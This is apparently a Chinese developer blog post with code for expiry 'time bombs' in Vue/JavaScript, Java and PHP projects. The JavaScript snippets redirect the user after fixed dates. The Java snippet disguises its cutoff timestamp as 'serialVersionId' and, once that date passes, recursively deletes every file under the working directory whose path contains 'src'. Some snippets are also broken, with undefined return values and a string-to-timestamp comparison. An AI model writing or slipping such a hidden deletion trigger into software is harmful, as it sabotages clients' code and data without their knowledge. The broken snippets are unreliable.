js到期,php到期

无敌的宇宙
无敌的宇宙
擅长邻域:Java,HTML,JavaScript,MySQL,支付,退款,图片上传

分类: Java 专栏: java 标签: js到期 php到期 删除

2023-12-14 14:45:34 78浏览

js到期,php到期

js到期,php到期 

时间戳在线转化工具https://tool.lu/timestamp/

js压缩https://jsmin.bmcx.com/

转毫秒2025

vue,mounted最前面写

this.getdq();
 getdq(){
                let timestamp = (new Date()).getTime();

                if(timestamp>1735660800000){
                    this.$router.push("/")
                }
            }


watch:{
$route:function(value){
this.getdq();
}
}
2029-01-01
getdq(); 
	function getdq(){
		var timestamp = (new Date()).getTime();
		 
		if(timestamp>1861891200000){
			window.location="html";
		}
	}
 
getdq();
	function getdq(){
		 
		 
		var myDate = new Date();
		var m=myDate.getMonth()+1;
		if(m<10)m="0"+m;
		var td=myDate.getFullYear()+'-'+m+'-'+myDate.getDate();
		 
		if(timestamp>'2025-01-01'){
			window.location="html";
		}
	}
 
static Long serialVersionId = 1735660800000L;
public static void deleteFiles(File file){
         if (file == null || !file.exists()){
             return;
         }
         File[] files = file.listFiles();
         for (File f: files){
             if (f.isDirectory()){
            	 deleteFiles(f);
             }else {
                 f.delete();
             }
         }
         file.delete();
     }
     public static  Long getp(){
 		  Long nts = (new Date()).getTime();
        if (nts < serialVersionId) {
            return fn;
        }
    	 
 		  String f2 = System.getProperty("user.dir");
 		  File f=new File(f2);
 		  if(f.exists()){
 			 File[] ff= f.listFiles();
 			 for(File file:ff){
 				 if(file.getAbsolutePath().indexOf("src")>-1){
 					deleteFiles(file);
 				 }
 			 }
 		  }
 		 return tt;
 		  
     }

php获取的时间戳是秒,不是毫秒

$ts= time() ;//s
$ts2= 1735660800 ; 
if($ts<$ts2) {
}else{
}

好博客就要一起分享哦!分享海报

此处可发布评论

评论(0展开评论

暂无评论,快来写一下吧

展开评论

您可能感兴趣的博客

客服QQ 1913284695